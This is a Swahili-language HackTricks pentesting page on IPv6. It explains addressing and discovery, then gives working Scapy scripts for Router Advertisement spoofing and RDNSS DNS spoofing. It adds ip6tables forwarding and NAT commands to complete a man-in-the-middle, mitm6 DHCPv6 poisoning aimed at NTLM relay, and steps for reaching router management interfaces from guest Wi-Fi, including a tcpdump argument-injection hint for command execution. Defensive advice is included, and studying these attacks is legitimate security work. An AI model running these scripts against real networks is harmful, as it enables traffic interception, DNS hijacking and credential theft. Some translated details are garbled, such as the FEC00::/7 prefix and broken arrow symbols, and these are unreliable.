Pentesting IPv6

Reading time: 14 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

IPv6 Msingi wa Nadharia

Mitandao

Anwani za IPv6 zimeundwa ili kuboresha shirika la mtandao na mwingiliano wa vifaa. Anwani ya IPv6 imegawanywa katika:

  1. Mtindo wa Mtandao: Bits 48 za mwanzo, zinazoamua sehemu ya mtandao.
  2. ID ya Subnet: Bits 16 zinazofuata, zinazotumika kufafanua subnets maalum ndani ya mtandao.
  3. Kitambulisho cha Interface: Bits 64 za mwisho, zinazotambulisha kipekee kifaa ndani ya subnet.

Wakati IPv6 inakosa protokali ya ARP inayopatikana katika IPv4, inintroduce ICMPv6 yenye ujumbe kuu wawili:

  • Ujumbe wa Kutafuta Majirani (NS): Ujumbe wa multicast kwa ajili ya kutatua anwani.
  • Tangazo la Majirani (NA): Majibu ya unicast kwa NS au matangazo ya ghafla.

IPv6 pia inajumuisha aina maalum za anwani:

  • Anwani ya Loopback (::1): Sawia na 127.0.0.1 ya IPv4, kwa mawasiliano ya ndani ndani ya mwenyeji.
  • Anwani za Link-Local (FE80::/10): Kwa shughuli za mtandao wa ndani, si kwa usafirishaji wa intaneti. Vifaa kwenye mtandao wa ndani sawa vinaweza kugundua kila mmoja kwa kutumia safu hii.

Matumizi ya Vitendo ya IPv6 katika Amri za Mtandao

Ili kuingiliana na mitandao ya IPv6, unaweza kutumia amri mbalimbali:

  • Ping Anwani za Link-Local: Angalia uwepo wa vifaa vya ndani kwa kutumia ping6.
  • Ugunduzi wa Majirani: Tumia ip neigh kuona vifaa vilivyogunduliwa kwenye safu ya kiunganishi.
  • alive6: Chombo mbadala cha kugundua vifaa kwenye mtandao sawa.

Hapa chini kuna mifano ya amri:

bash
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6 anwani zinaweza kutolewa kutoka kwa anwani ya MAC ya kifaa kwa mawasiliano ya ndani. Hapa kuna mwongozo rahisi juu ya jinsi ya kupata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC inayojulikana, na muhtasari mfupi wa aina za anwani za IPv6 na mbinu za kugundua anwani za IPv6 ndani ya mtandao.

Kutoa anwani ya MAC 12:34:56:78:9a:bc, unaweza kujenga anwani ya Link-local IPv6 kama ifuatavyo:

  1. Geuza MAC kuwa muundo wa IPv6: 1234:5678:9abc
  2. Ongeza fe80:: na weka fffe katikati: fe80::1234:56ff:fe78:9abc
  3. Geuza bit ya saba kutoka kushoto, ukibadilisha 1234 kuwa 1034: fe80::1034:56ff:fe78:9abc

Aina za Anwani za IPv6

  • Unique Local Address (ULA): Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa: FEC00::/7
  • Multicast Address: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: FF00::/8
  • Anycast Address: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Sehemu ya 2000::/3 anuwai ya unicast ya kimataifa.

Kichwa cha Anwani

  • fe80::/10: Anwani za Link-Local (sawa na 169.254.x.x)
  • fc00::/7: Unique Local-Unicast (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast All Nodes
  • ff02::2: Multicast Router Nodes

Kugundua Anwani za IPv6 ndani ya Mtandao

  1. Pata anwani ya MAC ya kifaa ndani ya mtandao.
  2. Pata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC.

Njia 2: Kutumia Multicast

  1. Tuma ping kwa anwani ya multicast ff02::1 ili kugundua anwani za IPv6 kwenye mtandao wa ndani.
bash
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

Mbinu kadhaa zipo za kutekeleza mashambulizi ya MitM katika mitandao ya IPv6, kama vile:

  • Kupotosha matangazo ya jirani au router ya ICMPv6.
  • Kutumia ujumbe wa ICMPv6 redirect au "Packet Too Big" kubadilisha routing.
  • Kushambulia mobile IPv6 (kawaida inahitaji IPSec kuzuiliwa).
  • Kuweka seva ya rogue DHCPv6.

Identifying IPv6 Addresses in the eild

Exploring Subdomains

Njia ya kupata subdomains ambazo zinaweza kuhusishwa na anwani za IPv6 inahusisha kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa swali kama ipv6.* unaweza kuwa na ufanisi. Kwa haswa, amri ifuatayo ya utafutaji inaweza kutumika katika Google:

bash
site:ipv6./

Kutumia Maswali ya DNS

Ili kubaini anwani za IPv6, aina fulani za rekodi za DNS zinaweza kuulizwa:

  • AXFR: Inahitaji uhamisho kamili wa eneo, ikifichua aina mbalimbali za rekodi za DNS.
  • AAAA: Inatafuta moja kwa moja anwani za IPv6.
  • ANY: Swali pana linalorejesha rekodi zote za DNS zinazopatikana.

Kuchunguza kwa Ping6

Baada ya kubaini anwani za IPv6 zinazohusiana na shirika, zana ya ping6 inaweza kutumika kwa uchunguzi. Zana hii husaidia katika kutathmini majibu ya anwani za IPv6 zilizobainishwa, na inaweza pia kusaidia katika kugundua vifaa vya IPv6 vilivyo karibu.

Mbinu za Shambulio la Mtandao wa Mitaa wa IPv6

Sehemu zifuatazo zinashughulikia mashambulizi halisi ya layer-2 ya IPv6 ambayo yanaweza kutekelezwa ndani ya sehemu moja ya /64 bila kujua prefix yoyote ya kimataifa. Pakiti zote zilizoonyeshwa hapa chini ni link-local na husafiri tu kupitia swichi ya ndani, na kuifanya kuwa ngumu kugundulika katika mazingira mengi.

Kurekebisha Mfumo kwa Maabara Imara

Kabla ya kucheza na trafiki ya IPv6 inashauriwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi.

bash
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Passive NDP & DHCPv6 Sniffing

Kwa sababu kila mwenyeji wa IPv6 anajiunga kiotomatiki na vikundi vingi vya multicast (ff02::1, ff02::2, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kuchora ramani ya sehemu nzima bila kutuma pakiti hata moja. Mfuatano huu wa Python/Scapy unakusikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi na alama ya wakati ya nani ni nani:

python
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Matokeo: muundo kamili wa link-local topology (MAC ⇄ IPv6) ndani ya sekunde chache, bila kuamsha mifumo ya IPS/IDS inayotegemea skana za moja kwa moja.

Router Advertisement (RA) Spoofing

IPv6 hosts zinategemea ICMPv6 Router Advertisements kwa ajili ya kugundua lango la chaguo. Ikiwa utaingiza RAs za uongo zaidi ya mara kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama lango.

python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Ili kweli kupeleka trafiki baada ya kushinda mbio:

bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Bendera za Matangazo ya Router (M/O) & Upendeleo wa Router wa Kawaida (Prf)

BenderaMaanaAthari kwa Tabia ya Mteja
M (Usanidi wa Anwani Ulioendeshwa)Wakati umewekwa kuwa 1 mwenyeji LAZIMA atumie DHCPv6 kupata anwani yake ya IPv6.Usanidi wote unatoka kwa DHCPv6 – bora kwa uanzishaji wa mitm6 wa sumu.
O (Usanidi Mwingine)Wakati umewekwa kuwa 1 mwenyeji anapaswa kutumia DHCPv6 tu kupata habari nyingine (DNS, NTP, …).Anwani bado kupitia SLAAC, lakini DNS inaweza kuharibiwa kwa DHCPv6.
M=0 / O=0Mtandao wa SLAAC safi.Njia za RA / RDNSS pekee ndizo zinazowezekana – DHCPv6 haitatumwa na wateja.
M=1 / O=1Mazingira mchanganyiko.DHCPv6 na SLAAC zote zinatumika; uso wa kudanganya ni mkubwa zaidi.

Wakati wa pentest unaweza kuchunguza RA halali mara moja tu na kuamua ni vector ipi inayowezekana:

bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Tafuta uwanja wa flags [M,O] katika dump – hakuna makisio yanayohitajika.

Uwanja wa Prf (Router Preference) ndani ya kichwa cha RA unadhibiti jinsi router yako ya uasi inavyoonekana kuvutia wakati gateway nyingi zipo:

Prf valueBinaryMeaning
High10Wateja wanapendelea router hii kuliko yoyote Medium/Low
Medium (default)01Inatumika na karibu kila kifaa halali
Low00Inachaguliwa tu wakati hakuna router bora zaidi

Unapounda pakiti na Scapy unaweza kuipanga kupitia parameter ya prf kama ilivyoonyeshwa hapo juu (prf=0x1 β†’ High). Kuunganisha High Prf, kipindi kifupi, na muda usio sifuri kunafanya gateway yako ya uasi kuwa thabiti sana.


RDNSS (DNS) Spoofing kupitia RA

RFC 8106 inaruhusu kuongeza chaguo la Recursive DNS Server (RDNSS) ndani ya RA. Mfumo wa kisasa (Win 10 β‰₯1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) kwa otomatiki unakubali hili:

python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Clients will prepend your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a lifetime=0 revert.

DHCPv6 DNS Spoofing (mitm6)

Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea stateless DHCPv6 kwa ajili ya DNS. mitm6 inajibu kiotomatiki kwa ujumbe wa Solicit kwa mtiririko wa Advertise β†’ Reply ambao unateua anwani yako ya link-local kama DNS kwa sekunde 300. Hii inafungua:

  • NTLM relay attacks (WPAD + DNS hijacking)
  • Kukamata ufumbuzi wa majina ya ndani bila kugusa routers

Typical usage:

bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning

Ulinzi

  • RA Guard / DHCPv6 Guard / ND Inspection kwenye swichi zinazodhibitiwa.
  • Port ACLs zinazoruhusu tu MAC halali ya router kutuma RAs.
  • Fuata RAs zenye kiwango cha juu zisizo thabiti au mabadiliko ya ghafla ya RDNSS.
  • Kuzima IPv6 kwenye vifaa vya mwisho ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana – pendelea kuchuja L2 badala yake.

Ugunduzi wa Router wa NDP kwenye SSID za Wageni/Public na Ufunuo wa Huduma za Usimamizi

Router nyingi za watumiaji zinafunua daemons za usimamizi (HTTP(S), SSH/Telnet, TR-069, nk.) kwenye interfaces zote. Katika baadhi ya matumizi, SSID ya β€œwageni/public” imeunganishwa na WAN/core na ni ya IPv6 pekee. Hata kama IPv6 ya router inabadilika kila wakati inapoanzishwa, unaweza kujifunza kwa uhakika kwa kutumia NDP/ICMPv6 na kisha kuungana moja kwa moja na ndege ya usimamizi kutoka SSID ya wageni.

Mchakato wa kawaida kutoka kwa mteja aliyeunganishwa na SSID ya wageni/public:

  1. Gundua router kupitia ICMPv6 Router Solicitation kwa multicast ya All-Routers ff02::2 na kamata Tangazo la Router (RA):
bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

RA inafichua anwani ya link-local ya router na mara nyingi anwani/prefix ya kimataifa. Ikiwa tu link-local inajulikana, kumbuka kwamba muunganisho lazima uonyeshe index ya eneo, e.g. ssh -6 admin@[fe80::1%wlan0].

Mbadala: tumia ndisc6 suite ikiwa inapatikana:

bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Fikia huduma zilizofichuliwa kupitia IPv6 kutoka SSID ya wageni:
bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. Ikiwa shell ya usimamizi inatoa zana za kukamata pakiti kupitia wrapper (mfano, tcpdump), angalia kwa ajili ya kuingizwa kwa hoja/jina la faili ambayo inaruhusu kupitisha bendera za ziada za tcpdump kama -G/-W/-z ili kufikia utekelezaji wa amri baada ya kugeuza. Tazama:

Wildcards Spare tricks

Ulinzi/maelezo:

  • Usifunge usimamizi kwa madaraja ya wageni/public; tumia moto wa IPv6 kwenye madaraja ya SSID.
  • Punguza kiwango na chujio NDP/RS/RA kwenye sehemu za wageni inapowezekana.
  • Kwa huduma ambazo lazima zifikike, enforce authN/MFA na mipaka ya nguvu ya kiwango.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks